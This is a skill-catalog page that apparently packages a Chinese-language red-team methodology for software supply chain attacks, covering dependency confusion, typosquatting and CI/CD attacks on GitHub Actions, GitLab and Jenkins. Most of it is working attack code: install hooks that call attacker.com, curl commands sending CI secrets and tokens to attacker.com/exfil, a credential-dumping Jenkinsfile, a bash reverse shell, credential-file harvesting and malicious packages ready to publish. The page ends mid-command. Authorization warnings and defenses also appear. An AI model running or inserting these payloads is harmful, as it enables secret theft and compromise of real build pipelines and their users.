
Supply Chain Attack
- 11 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
supply-chain-attack is a Claude Code skill for ai & agent building. It helps developers move faster with AI-assisted coding.
- supply-chain-attack
- AI & Agent Building
- AI-coding skill
Supply Chain Attack by the numbers
- 11 all-time installs (skills.sh)
- Ranked #11,740 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill supply-chain-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 11 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
软件供应链攻击方法论
核心思路:不攻击目标本身,攻击目标信任的上游依赖/构建流程
⛔ 深入参考
- Dependency Confusion 详细利用步骤 → references/dependency-confusion.md
- CI/CD Pipeline 攻击向量 → references/cicd-attack.md
---
攻击面识别
目标使用什么包管理器?
├─ npm (Node.js) → npmjs.com 检查
├─ PyPI (Python) → pypi.org 检查
├─ Maven (Java) → mvnrepository.com 检查
├─ NuGet (.NET) → nuget.org 检查
├─ Go modules → proxy.golang.org
├─ RubyGems → rubygems.org
└─ 容器镜像 → Docker Hub / 私有 Registry
目标有私有仓库?
├─ 是 → Dependency Confusion 首选
└─ 否 → Typosquatting / 已有包投毒Phase 1: Dependency Confusion(依赖混淆)
原理
企业内部包: @company/utils (版本 1.0.0, 私有仓库)
攻击者发布: company-utils (版本 99.0.0, 公共 npm)
如果包管理器优先从公共源拉取高版本 → 恶意包被安装发现私有包名
# 1. 从目标网站 JS 中提取包名
curl -s https://target.com | grep -oE "from ['\"]@[a-zA-Z0-9/-]+['\"]"
curl -s https://target.com/main.js | grep -oE "require\(['\"][^'\"]+['\"]\)"
# 2. 从泄露的 package.json / requirements.txt
# GitHub/GitLab 搜索
# 目标开源项目的依赖文件
# 3. DNS 探测(某些私有 npm 使用 DNS CNAME)
dig +short _npmrc.target.com
# 4. 错误信息泄露
# 404 页面可能暴露内部包名攻击执行(npm 示例)
// package.json — 恶意包
{
"name": "target-internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/callback?pkg=$npm_package_name&host=$(hostname)"
}
}# 发布到公共 npm
npm publish
# 等待目标 CI/CD 在下次构建时拉取各包管理器差异
| 包管理器 | Confusion 条件 | 防御 |
|---|---|---|
| npm | 无 scope(@) 前缀 + 无 .npmrc 锁定 | 使用 @scope + registry 锁定 |
| pip | 无 --index-url 锁定 + 无 --extra-index-url | 使用 --index-url 唯一源 |
| Maven | 无 mirrorOf 配置 | 使用 repository 白名单 |
| NuGet | 多源配置 + 无版本锁定 | 使用 nuget.config 锁定源 |
Phase 2: Typosquatting(拼写抢注)
# 生成目标包的相似名称
# crossenv vs cross-env
# electorn vs electron
# cofee-script vs coffee-script
# Python 实现
python3 -c "
import itertools
pkg = 'requests'
typos = []
# 删除一个字符
for i in range(len(pkg)):
typos.append(pkg[:i] + pkg[i+1:])
# 替换相邻字符
for i in range(len(pkg)-1):
typos.append(pkg[:i] + pkg[i+1] + pkg[i] + pkg[i+2:])
# 增加常见后缀
typos.extend([pkg+'-python', pkg+'-py', 'python-'+pkg, pkg+'2', pkg+'3'])
print('\n'.join(set(typos)))
"
# 检查哪些名称在公共源上未被注册
# npm: npm view <name> 返回 404 = 可注册
# PyPI: curl -s https://pypi.org/pypi/<name>/json 返回 404 = 可注册Phase 3: CI/CD Pipeline 攻击
攻击向量
CI/CD 攻击面:
├─ 代码仓库
│ ├─ PR 注入(恶意 PR 修改 CI 配置)
│ ├─ Branch Protection 绕过
│ └─ Webhook 劫持
│
├─ 构建环境
│ ├─ 构建脚本注入(Makefile/Dockerfile/Jenkinsfile)
│ ├─ 环境变量窃取(secrets in env)
│ ├─ 构建缓存投毒
│ └─ 共享 Runner 逃逸
│
├─ 制品仓库
│ ├─ 镜像替换(tag 覆盖)
│ ├─ 包签名绕过
│ └─ 版本号抢注
│
└─ 部署环节
├─ 部署密钥窃取
├─ 配置注入(Helm values/Terraform vars)
└─ 运行时环境变量注入GitHub Actions 攻击示例
# 恶意 PR 中修改 .github/workflows/ci.yml
# 或利用 pull_request_target 事件(在 base 上下文执行,可访问 secrets)
name: CI
on:
pull_request_target: # ⛔ 危险:在有 secrets 的上下文执行
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # 检出攻击者代码
- run: |
# 窃取仓库 secrets
curl -X POST https://attacker.com/exfil \
-d "token=${{ secrets.DEPLOY_TOKEN }}"GitLab CI/CD 攻击
# .gitlab-ci.yml 注入
stages:
- build
build:
stage: build
script:
# 利用 CI/CD 变量窃取
- "curl https://attacker.com/exfil?key=$CI_JOB_TOKEN"
# 或利用共享 Runner 的 Docker socket
- docker run -v /:/host alpine cat /host/etc/shadowPhase 4: 恶意包载荷设计
安装时回调(验证攻击可达性):
├─ npm: scripts.preinstall / postinstall
├─ pip: setup.py install(setup() 执行时)
├─ Maven: maven-exec-plugin in pom.xml
└─ Go: init() 函数
⛔ 合法红队测试中:
├─ 只做 DNS/HTTP 回调确认可达
├─ 不窃取实际数据
├─ 不部署持久化
├─ 包中注明"This is a security test"
└─ 及时联系目标安全团队报告OPSEC 注意事项
供应链攻击的法律风险极高:
├─ ⛔ 未授权的 Dependency Confusion 可能构成犯罪
├─ ⛔ Typosquatting 公共包影响非目标用户
├─ ✓ 必须有明确书面授权
├─ ✓ 回调仅收集最小信息(包名+主机名)
├─ ✓ 包描述中注明安全测试
└─ ✓ 测试后立即撤下恶意包关联技能
- 红队评估 →
/skill:red-team-assessment - APT 模拟 →
/skill:apt-emulation - 信息泄露方法论 →
/skill:information-disclosure-methodology
CI/CD Pipeline 攻击向量详解
GitHub Actions 攻击
pull_request_target 秘密泄露
漏洞原理:
├─ pull_request 事件: 在 PR 分支的上下文执行(无 secrets 访问)
├─ pull_request_target 事件: 在 base 分支的上下文执行(有 secrets 访问!)
│
├─ ⛔ 危险组合:
│ ├─ 使用 pull_request_target 触发
│ ├─ 且 checkout 了 PR 的代码(ref: github.event.pull_request.head.sha)
│ ├─ 等于: 在有 secrets 的环境中执行攻击者的代码
│ └─ 攻击者只需提交一个 PR → 窃取 secrets
│
└─ 变种:
├─ workflow 中 run 步骤执行 PR 中修改的脚本
├─ workflow 中 uses 引用 PR 中修改的 action
└─ 构建时执行 PR 修改的 Makefile / Dockerfile# ⛔ 危险的 workflow 示例
name: Build PR
on:
pull_request_target: # 在 base 上下文执行 — 有 secrets
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # ⛔ 检出了攻击者代码
- run: npm install # 执行攻击者的 package.json scripts
- run: npm test # 执行攻击者的测试代码
# 攻击者的 PR 可以:
# 1. 修改 package.json 的 preinstall 脚本
# 2. 修改测试文件中添加 secrets 外传代码
# 3. 添加恶意的 npm postinstall hook# 搜索目标仓库中的危险 workflow
# 在 GitHub 搜索:
# filename:.github/workflows pull_request_target
# 结合检查是否有 actions/checkout 且 ref 为 PR headworkflow_run 事件链
漏洞原理:
├─ workflow_run 在另一个 workflow 完成后触发
├─ workflow_run 在 default branch 的上下文执行(有 secrets)
├─ 但可以访问触发它的 workflow 的产物(artifacts)
│
└─ 攻击链:
├─ 1. PR 触发 pull_request workflow(无 secrets)
├─ 2. pull_request workflow 上传 artifact
├─ 3. workflow_run 下载 artifact 并在有 secrets 的环境处理
├─ 4. 如果 artifact 内容未校验 → 代码注入
└─ ⛔ artifact 可包含恶意脚本/修改的构建配置# 不安全的 workflow_run 示例
name: Process PR Results
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Download artifact
uses: actions/download-artifact@v4
with:
name: build-output
run-id: ${{ github.event.workflow_run.id }}
# ⛔ 危险: 直接执行下载的脚本
- run: bash ./build-output/deploy.sh
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}自定义 Action 投毒
攻击方式:
├─ 1. Typosquatting
│ ├─ 创建与流行 action 相似的仓库名
│ ├─ actions/checkout → actions-checkout / action/checkout
│ └─ 用户拼写错误 → 使用恶意 action
│
├─ 2. 已有 Action 的 Compromise
│ ├─ 攻击者获取 action 维护者的 GitHub 账号
│ ├─ 修改 action 代码 → 注入恶意逻辑
│ ├─ 如果 workflow 引用 tag(如 @v3)→ tag 可被覆盖
│ └─ ⛔ 使用 commit SHA 引用更安全
│
└─ 3. 依赖 action 的上游包投毒
├─ action 的 package.json 依赖被 dependency confusion
└─ action 在用户 workflow 中执行恶意代码# ⛔ 不安全: 使用 tag 引用(tag 可被覆盖)
- uses: some-org/some-action@v1
# ✓ 安全: 使用 commit SHA 引用
- uses: some-org/some-action@a1b2c3d4e5f6789012345678901234567890abcd
# 检查 action 的实际代码
# 1. 访问 action 仓库检查 action.yml 和代码
# 2. 确认 tag 对应的 commit 是否可信GITHUB_TOKEN 权限滥用
GITHUB_TOKEN 默认权限:
├─ 读: contents, metadata, packages
├─ 写: (取决于 workflow 触发事件和仓库设置)
│
├─ ⛔ 如果 permissions 设置过宽:
│ ├─ contents: write → 可修改代码/创建分支/push 代码
│ ├─ pull-requests: write → 可合并 PR
│ ├─ issues: write → 可关闭/修改 issue
│ ├─ actions: write → 可触发其他 workflow
│ └─ packages: write → 可发布恶意包
│
└─ 攻击利用:
├─ 窃取 GITHUB_TOKEN → 在 token 有效期内(workflow 运行期间)操作仓库
├─ 创建新 branch → push 恶意代码 → 创建 PR → 自动合并
└─ 发布恶意 release/package# 在 workflow 中窃取 GITHUB_TOKEN
# (如果攻击者控制了 workflow 执行的代码)
echo "$GITHUB_TOKEN" | base64 | curl -d @- https://attacker.com/exfil
# 利用窃取的 GITHUB_TOKEN
# push 恶意代码
git clone https://x-access-token:$GITHUB_TOKEN@github.com/org/repo.git
cd repo
echo "malicious code" >> backdoor.py
git add . && git commit -m "chore: update dependencies"
git push origin main # 如果 branch protection 不严格
# 创建 Release
curl -X POST \
-H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/org/repo/releases" \
-d '{"tag_name":"v9.9.9","name":"v9.9.9","body":"security update"}'Self-hosted Runner 逃逸
Self-hosted Runner 风险:
├─ Runner 是组织内的机器(vs GitHub-hosted 是临时 VM)
├─ ⛔ 持久化环境: 上一个 workflow 的残留可被下一个利用
├─ 访问内网资源 → 横向移动入口
├─ 可能有生产环境凭据/SSH 密钥
│
└─ 攻击方式:
├─ 1. Runner 机器上的凭据窃取
│ ├─ ~/.ssh/ / ~/.aws/ / ~/.kube/
│ ├─ 环境变量中的 secrets
│ └─ Docker socket → 容器逃逸
│
├─ 2. 跨 workflow 数据窃取
│ ├─ /tmp 中的残留文件
│ ├─ 构建缓存中的 secrets
│ └─ Git 配置中的 token
│
└─ 3. 内网渗透
├─ Runner 通常在 VPC/内网中
├─ 可扫描内网服务
└─ 可访问内部 API/数据库# 在 Self-hosted Runner 上的信息收集
# 主机信息
uname -a && id && hostname
cat /etc/os-release
# 凭据搜索
find / -maxdepth 4 -name "*.pem" -o -name "*.key" -o -name "*.p12" -o -name "id_rsa" 2>/dev/null
find / -maxdepth 4 -name ".env" -o -name "credentials" -o -name "*.conf" 2>/dev/null | head -20
cat ~/.ssh/known_hosts # 发现内网主机
# Docker socket
ls -la /var/run/docker.sock
docker ps 2>/dev/null
# Kubernetes
ls -la ~/.kube/config 2>/dev/null
kubectl get pods --all-namespaces 2>/dev/null
# 云凭据
cat ~/.aws/credentials 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
cat ~/.azure/msal_token_cache.json 2>/dev/null
# 内网探测
ip addr show
ip route show
# 扫描常见内网服务
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
timeout 1 bash -c "echo > /dev/tcp/10.0.0.1/$port" 2>/dev/null && echo "10.0.0.1:$port open"
doneGitLab CI 攻击
CI_JOB_TOKEN 滥用
CI_JOB_TOKEN 能力:
├─ 默认权限:
│ ├─ 克隆同组其他仓库(如果配置允许)
│ ├─ 访问 GitLab Container Registry
│ ├─ 访问 GitLab Package Registry
│ ├─ 触发其他项目的 pipeline(如果配置允许)
│ └─ 访问 GitLab API(有限范围)
│
└─ 攻击利用:
├─ 克隆其他私有仓库 → 获取源码/secrets
├─ 发布恶意包到 Package Registry
├─ 触发其他项目的 CI → 链式攻击
└─ 访问 Container Registry → 替换镜像# 利用 CI_JOB_TOKEN 克隆其他仓库
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/company/secret-repo.git
# 列出可访问的项目
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.com/api/v4/projects?membership=true"
# 发布恶意包
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
--upload-file malicious-pkg.tgz \
"https://gitlab.com/api/v4/projects/$CI_PROJECT_ID/packages/npm/@scope/package/-/@scope/package-99.0.0.tgz"
# 触发其他项目的 pipeline
curl -s -X POST \
--header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.com/api/v4/projects/OTHER_PROJECT_ID/trigger/pipeline?ref=main"共享 Runner Docker Socket 逃逸
# GitLab 共享 Runner 通常使用 Docker executor
# 如果 Runner 配置挂载了 Docker socket → 可逃逸
# .gitlab-ci.yml
# 检查 Docker socket
test:
image: docker:latest
services:
- docker:dind
script:
# 如果 /var/run/docker.sock 可访问
- docker run -v /:/host --privileged alpine cat /host/etc/shadow
# 创建特权容器 → 访问宿主机
- docker run -v /:/host --privileged alpine chroot /host bash -c "cat /etc/shadow"Pipeline Trigger Token 泄露
# Trigger Token 可触发任意 pipeline
# 常见泄露位置: .gitlab-ci.yml 中硬编码、环境变量、日志
# 利用泄露的 Trigger Token
curl -X POST \
-F "token=LEAKED_TRIGGER_TOKEN" \
-F "ref=main" \
-F "variables[MALICIOUS_VAR]=payload" \
"https://gitlab.com/api/v4/projects/PROJECT_ID/trigger/pipeline"
# 通过变量注入修改 CI 行为
# 如果 .gitlab-ci.yml 中使用了 $MALICIOUS_VAR → 命令注入include: 远程配置注入
# GitLab CI 支持 include 远程 YAML 配置
# 如果 include 的 URL 可被攻击者控制 → 注入恶意 CI 配置
# 不安全示例 — include 的 URL 可被篡改
include:
- remote: 'https://external-server.com/ci-templates/build.yml'
# 攻击者控制 external-server.com 或 MITM → 注入恶意 job
# 更隐蔽的方式 — include 仓库中的文件
include:
- project: 'shared/ci-templates'
ref: main
file: '/templates/build.yml'
# 如果攻击者能向 shared/ci-templates 提交代码 → 修改 build.ymlJenkins 攻击
Jenkinsfile 注入 (PR-based)
攻击原理:
├─ Jenkins Multibranch Pipeline 自动检测新分支/PR
├─ 从 PR 分支的 Jenkinsfile 执行 pipeline
├─ ⛔ Jenkinsfile 在 Jenkins 的上下文执行(有 credentials 访问)
│
└─ 攻击方式:
├─ Fork 目标仓库 → 修改 Jenkinsfile → 提交 PR
├─ Jenkinsfile 中注入恶意 Groovy 代码
└─ 窃取 Jenkins credentials → 横向移动// 恶意 Jenkinsfile — 窃取 credentials
pipeline {
agent any
stages {
stage('Build') {
steps {
// 窃取所有环境变量(可能含 secrets)
sh 'env | sort | curl -X POST -d @- https://attacker.com/exfil'
// 使用 withCredentials 窃取特定凭据
withCredentials([string(credentialsId: 'deploy-key', variable: 'DEPLOY_KEY')]) {
sh 'echo $DEPLOY_KEY | curl -X POST -d @- https://attacker.com/exfil'
}
// Groovy 脚本直接访问 Jenkins 内部
script {
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials,
Jenkins.instance, null, null
)
creds.each { c ->
println "ID: ${c.id}, User: ${c.username}, Pass: ${c.password}"
}
}
}
}
}
}Credentials 提取
# Jenkins Credentials 存储位置
# $JENKINS_HOME/credentials.xml
# $JENKINS_HOME/secrets/master.key
# $JENKINS_HOME/secrets/hudson.util.Secret
# 如果有 Jenkins 文件系统访问
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
# 解密 Jenkins Credentials(需要 master.key + hudson.util.Secret)
# 工具: https://github.com/gquere/pwn_jenkins
python3 jenkins_offline_decrypt.py /var/lib/jenkins/
# 通过 Jenkins API(需要认证)
curl -u admin:token "https://jenkins.target.com/credentials/store/system/domain/_/credential/deploy-key/config.xml"Script Console RCE
// Jenkins Script Console: /script
// 需要 Jenkins Admin 权限
// 执行系统命令
"whoami".execute().text
// 反向 Shell
['bash', '-c', 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'].execute()
// 读取文件
new File('/etc/passwd').text
// 列出所有 Credentials
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.*
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class,
Jenkins.instance, null, null
)
creds.each { println it.properties }
// 枚举内网
def sout = new StringBuilder(), serr = new StringBuilder()
'ip addr show'.execute().waitForProcessOutput(sout, serr)
println soutAgent 逃逸
Jenkins Agent 逃逸:
├─ Jenkins Agent 运行在构建节点上
├─ 如果 Agent 以特权用户运行 → 控制构建节点
│
├─ Docker Agent 逃逸:
│ ├─ Jenkinsfile 中指定 Docker Agent
│ ├─ 如果 Docker socket 挂载 → 逃逸到 host
│ └─ pipeline { agent { docker { image 'alpine' } } }
│
└─ Kubernetes Agent (JCasC):
├─ Jenkins 在 K8s 中动态创建 Pod 作为 Agent
├─ Pod 可能有 ServiceAccount Token → K8s API 访问
└─ 从 Agent Pod → K8s 集群攻击通用 CI/CD 攻击
构建缓存投毒
攻击原理:
├─ CI/CD 缓存加速构建(npm cache, pip cache, Maven .m2)
├─ 如果缓存在多个 pipeline 间共享 → 可投毒
│
├─ 投毒方式:
│ ├─ 在 PR pipeline 中修改缓存内容
│ ├─ 恶意包被缓存 → 后续 pipeline 使用
│ └─ 缓存中的构建工具被替换(如 node, python)
│
└─ 影响:
├─ 后续构建使用被污染的缓存
├─ 绕过了 lockfile 保护(缓存中的包不会重新下载/验证)
└─ 可持久化 — 直到缓存过期# GitHub Actions 缓存投毒示例
# 如果 PR 可以写入缓存 → 可投毒
# 恶意 PR 的 workflow
- uses: actions/cache@v3
with:
path: node_modules
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
# PR 修改 package-lock.json → 新 cache key → 新缓存被创建
# 缓存中包含被篡改的 node_modules制品仓库 Tag 覆盖
# Docker 镜像 tag 覆盖
# 如果攻击者有 push 权限 → 覆盖 latest 或特定 tag
docker tag malicious:latest registry.target.com/app:latest
docker push registry.target.com/app:latest
# npm 包 tag 覆盖
npm dist-tag add malicious-package@99.0.0 latest
# 防御: 使用 digest/hash 而非 tag 引用
# Docker: registry.target.com/app@sha256:abc123...
# npm: package-lock.json 中的 integrity hashSecret 在 env/log 中泄露
# CI/CD 中 Secrets 常见泄露点
# 1. 环境变量打印
env | sort # 所有 env 变量(包括 secrets)
printenv # 同上
# 2. Debug 模式
# GitHub Actions: ACTIONS_STEP_DEBUG=true → 详细日志
# GitLab CI: CI_DEBUG_TRACE=true → 打印所有变量
# Jenkins: -Dorg.jenkinsci.plugins.workflow.steps.durable_task.DurableTaskStep.REMOTE_TIMEOUT=0
# 3. 构建工具泄露
npm install --verbose # 可能打印 registry token
pip install -v # 可能打印 index URL(含凭据)
docker build --progress=plain # 打印每一步详情
# 4. 错误信息泄露
# 认证失败时可能在错误消息中包含 token
# curl 的 -v 输出包含 Authorization header
# 5. 第三方服务 webhook 回调
# CI/CD 通知(Slack/Discord)可能包含环境信息部署密钥窃取
# CI/CD 部署阶段通常有:
# - K8s kubeconfig
# - SSH deploy keys
# - Cloud credentials (AWS/GCP/Azure)
# - Docker registry credentials
# - Database connection strings
# 在 CI/CD 环境中搜索
# Kubernetes
cat $KUBECONFIG 2>/dev/null || cat ~/.kube/config 2>/dev/null
echo $KUBECONFIG
# SSH Keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
# Docker
cat ~/.docker/config.json 2>/dev/null
# 可能包含 registry 认证信息
# 云凭据
echo "AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID"
echo "AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY"
cat ~/.aws/credentials 2>/dev/null
# Terraform state(可能含明文密码)
find / -name "*.tfstate" -exec grep -l "password" {} \; 2>/dev/nullCase Studies
Codecov (2021.01 - 2021.04)
攻击链:
├─ 1. 攻击者利用 Codecov Docker 镜像构建过程中的漏洞
├─ 2. 修改了 Codecov 的 Bash Uploader 脚本
├─ 3. 脚本被全球数千家公司的 CI/CD 中使用
├─ 4. 恶意脚本收集 CI/CD 环境中的:
│ ├─ 环境变量(含 secrets)
│ ├─ Git remote URLs(含 token)
│ └─ CI/CD 配置信息
├─ 5. 数据外传到攻击者服务器
├─ 6. 持续 3 个月未被发现
│
└─ 教训:
├─ 第三方 CI/CD 脚本是高价值目标
├─ Bash 脚本 curl | bash 模式极度危险
├─ 需要验证 CI/CD 工具的完整性(checksum/签名)
└─ 受影响企业: Twitch, HashiCorp, Confluent 等SolarWinds (2020)
攻击链:
├─ 1. 攻击者入侵 SolarWinds 开发环境
├─ 2. 修改了 Orion 软件的构建流程
├─ 3. 在构建时注入 SUNBURST 后门
├─ 4. 正常构建 + 签名流程 → 合法的软件更新
├─ 5. ~18,000 客户安装了含后门的更新
├─ 6. 后门通过 DNS 与 C2 通信
│
└─ CI/CD 相关教训:
├─ 构建环境是供应链攻击的核心目标
├─ 代码签名不能防止构建时注入
├─ 需要 reproducible builds(可重现构建)
└─ 构建环境需要与开发/生产环境同等安全ua-parser-js (2021.10)
攻击链:
├─ 1. 攻击者劫持 ua-parser-js npm 包维护者账号
├─ 2. 发布包含恶意代码的 0.7.29、0.8.0、1.0.0 版本
├─ 3. 恶意 preinstall 脚本:
│ ├─ Linux: 下载并执行加密货币挖矿程序
│ └─ Windows: 下载并执行密码窃取木马 + 挖矿程序
├─ 4. ua-parser-js 周下载量 700万+ → 影响巨大
│
└─ 教训:
├─ npm 账号安全是关键(需要 2FA)
├─ preinstall/postinstall scripts 是高风险执行点
├─ 需要监控依赖更新的异常行为
└─ lockfile + integrity hash 可以部分防御攻击决策树
CI/CD 攻击入口:
├─ 有目标仓库的 PR 权限?
│ ├─ GitHub → 检查 pull_request_target workflow
│ ├─ GitLab → 检查 pipeline 是否对 fork 开放
│ └─ Jenkins → 检查 Multibranch Pipeline 配置
│
├─ 能修改 CI/CD 配置文件?
│ ├─ .github/workflows/*.yml
│ ├─ .gitlab-ci.yml
│ ├─ Jenkinsfile
│ └─ 其他: .circleci/config.yml, .travis.yml
│
├─ 有 CI/CD 系统的直接访问?
│ ├─ Jenkins 管理界面 → Script Console RCE
│ ├─ GitLab Admin → Runner 配置
│ └─ GitHub org settings → Self-hosted runner
│
├─ 可投毒上游依赖?
│ ├─ 自定义 Actions/Steps → 投毒 action 仓库
│ ├─ 构建缓存 → 缓存投毒
│ └─ 共享 CI 模板 → 模板注入
│
└─ 已在 CI/CD 环境中?
├─ 收集 secrets (env vars, files, credentials)
├─ 横向移动 (内网, 其他仓库, 云服务)
├─ 持久化 (修改 workflow, 添加 SSH key, 注入后门)
└─ 供应链投毒 (修改制品, 替换镜像)Dependency Confusion 详细利用步骤
原理深入 — 包管理器版本优先级机制
核心问题:
├─ 企业使用私有包仓库 + 公共包仓库
├─ 包管理器需要决定: 从哪个源安装包?
├─ 如果同名包在两个源都存在 → 版本号更高的被安装
├─ 攻击者在公共源发布同名包(版本号设为极高值)
└─ 结果: 企业 CI/CD 或开发者安装了攻击者的恶意包
攻击前提条件:
├─ 1. 目标使用私有包(非 scope/namespace 保护)
├─ 2. 包管理器配置了多源(私有 + 公共)
├─ 3. 私有包名在公共源上未被注册
└─ 4. 无 lockfile pinning 或 hash 验证各包管理器差异
npm (Node.js)
npm 依赖混淆条件:
├─ ⛔ Scope 包 (@company/package) — 不易受攻击
│ ├─ @scope 由 npm org 控制
│ ├─ 攻击者无法在 npmjs.com 发布 @company/* 包
│ └─ 但: 如果 .npmrc 中 @company 指向私有源 → 仍可能被绕过
│
├─ ⛔ Unscoped 包 (company-utils) — 容易受攻击
│ ├─ 如果公共 npm 上不存在 → 攻击者可注册
│ └─ npm 默认从 registry.npmjs.org 拉取
│
└─ .npmrc 配置关键:
├─ registry=https://private.registry.com → 仅使用私有源(安全)
├─ @company:registry=https://private.registry.com → scope 指向私有(安全)
└─ 无配置 → 使用默认 npmjs.org(危险)# npm 攻击流程
# 1. 发现私有包名(无 scope)
# 从目标网站的 JS 文件中提取
curl -s https://target.com/main.js | grep -oP 'require\(["\x27]([^"@\x27./][^"\x27]*)["\x27]\)' | sort -u
# 从泄露的 package-lock.json
curl -s https://target.com/package-lock.json 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for pkg in data.get('packages',data.get('dependencies',{})):
name = pkg.lstrip('node_modules/')
if name and not name.startswith('@') and '/' not in name:
print(name)
" | sort -u
# 2. 检查公共 npm 是否已存在
for pkg in target-utils target-core target-auth; do
status=$(npm view $pkg 2>&1)
if echo "$status" | grep -q "404"; then
echo "[!] $pkg — 未注册,可攻击"
else
echo "[-] $pkg — 已存在"
fi
done
# 3. 创建恶意包
mkdir /tmp/dep-confusion && cd /tmp/dep-confusion
cat > package.json << 'JSON'
{
"name": "target-internal-utils",
"version": "99.0.0",
"description": "Security research - dependency confusion test",
"scripts": {
"preinstall": "node index.js"
}
}
JSON
cat > index.js << 'JS'
// 仅 DNS 回调 — 不执行任何恶意操作
const dns = require('dns');
const os = require('os');
const pkg = process.env.npm_package_name || 'unknown';
const host = os.hostname().substring(0, 20);
const lookup = `${pkg}.${host}.dep-confusion.attacker-domain.com`;
dns.resolve(lookup, () => {});
JS
# 4. 发布
npm publish --access publicpip (Python)
pip 依赖混淆条件:
├─ --index-url https://private.pypi.com → 仅使用私有源(安全)
├─ --extra-index-url https://private.pypi.com → 同时查询 PyPI + 私有(危险!)
│ ├─ pip 在两个源中选择版本号最高的
│ └─ 攻击者在 PyPI 发布高版本 → 被安装
│
├─ PEP 708 (2023+): Track Provenance(部分缓解)
│ └─ 但大多数环境尚未完全实施
│
└─ 常见危险配置:
├─ pip.conf 中使用 extra-index-url
├─ requirements.txt 中无 --index-url 指定
└─ Dockerfile 中: pip install --extra-index-url https://private...# pip 攻击流程
# 1. 发现私有包名
# 从 requirements.txt 泄露
curl -s https://target.com/requirements.txt 2>/dev/null
# 从 GitHub 搜索
# site:github.com "target.com" requirements.txt
# 2. 检查 PyPI 是否已存在
for pkg in target_utils target_core target_auth; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
if [ "$status" = "404" ]; then
echo "[!] $pkg — 未注册"
else
echo "[-] $pkg — 已存在"
fi
done
# 3. 创建恶意包
mkdir /tmp/dep-confusion-py && cd /tmp/dep-confusion-py
cat > setup.py << 'PYTHON'
from setuptools import setup
import os, socket, struct
# 仅 DNS 回调
try:
hostname = socket.gethostname()[:20]
pkg = "target-internal-utils"
lookup = f"{pkg}.{hostname}.dep-confusion.attacker.com"
socket.getaddrinfo(lookup, 80)
except:
pass
setup(
name="target-internal-utils",
version="99.0.0",
description="Security research - dependency confusion test",
py_modules=["target_internal_utils"],
)
PYTHON
touch target_internal_utils.py
# 4. 发布到 PyPI
python3 -m build
python3 -m twine upload dist/*Maven (Java)
Maven 依赖混淆条件:
├─ pom.xml 中 <repositories> 配置多个源
├─ settings.xml 中 <mirrors> 和 <profiles>
│
├─ mirrorOf 配置:
│ ├─ <mirrorOf>*</mirrorOf> → 所有仓库走 mirror(如果 mirror 是私有→安全)
│ ├─ <mirrorOf>central</mirrorOf> → 仅 central 走 mirror
│ └─ 无 mirror → 按 repository 优先级查询
│
└─ 攻击条件:
├─ 目标使用自定义 groupId(如 com.target.internal)
├─ 该 groupId 在 Maven Central 未注册
├─ pom.xml 查询 Central 时未被 mirror 拦截
└─ ⛔ Maven Central 有 groupId 验证 — 攻击难度较高
└─ 需要证明域名所有权才能发布到特定 groupId# Maven 攻击(难度较高 — Maven Central 有 groupId 验证)
# 但某些私有 Maven 仓库(如 Nexus/Artifactory)可能不验证
# 检查 pom.xml 中的私有依赖
grep -oP '<groupId>\K[^<]+' pom.xml | sort -u
grep -oP '<artifactId>\K[^<]+' pom.xml | sort -u
# 检查 Maven Central 是否存在
curl -s "https://search.maven.org/solrsearch/select?q=g:%22com.target.internal%22&rows=20"NuGet (.NET)
NuGet 依赖混淆条件:
├─ nuget.config 配置多个 packageSources
├─ NuGet 按源顺序查询,使用版本号最高的
│
├─ 危险配置:
│ ├─ 同时配置 nuget.org + private feed
│ ├─ 无 packageSourceMapping(NuGet 6.0+ 功能)
│ └─ 无版本 pinning
│
└─ 攻击条件:
├─ 私有包名在 nuget.org 未注册
├─ nuget.config 未使用 packageSourceMapping
└─ 无 packages.lock.json 锁定# NuGet 攻击流程
# 1. 发现私有包名
# 从 .csproj / packages.config 泄露
grep -oP '<PackageReference Include="\K[^"]+' *.csproj 2>/dev/null
grep -oP 'id="\K[^"]+' packages.config 2>/dev/null
# 2. 检查 nuget.org
for pkg in Target.Internal.Utils Target.Core; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://api.nuget.org/v3/registration5-gz-semver2/$( echo $pkg | tr 'A-Z' 'a-z')/index.json")
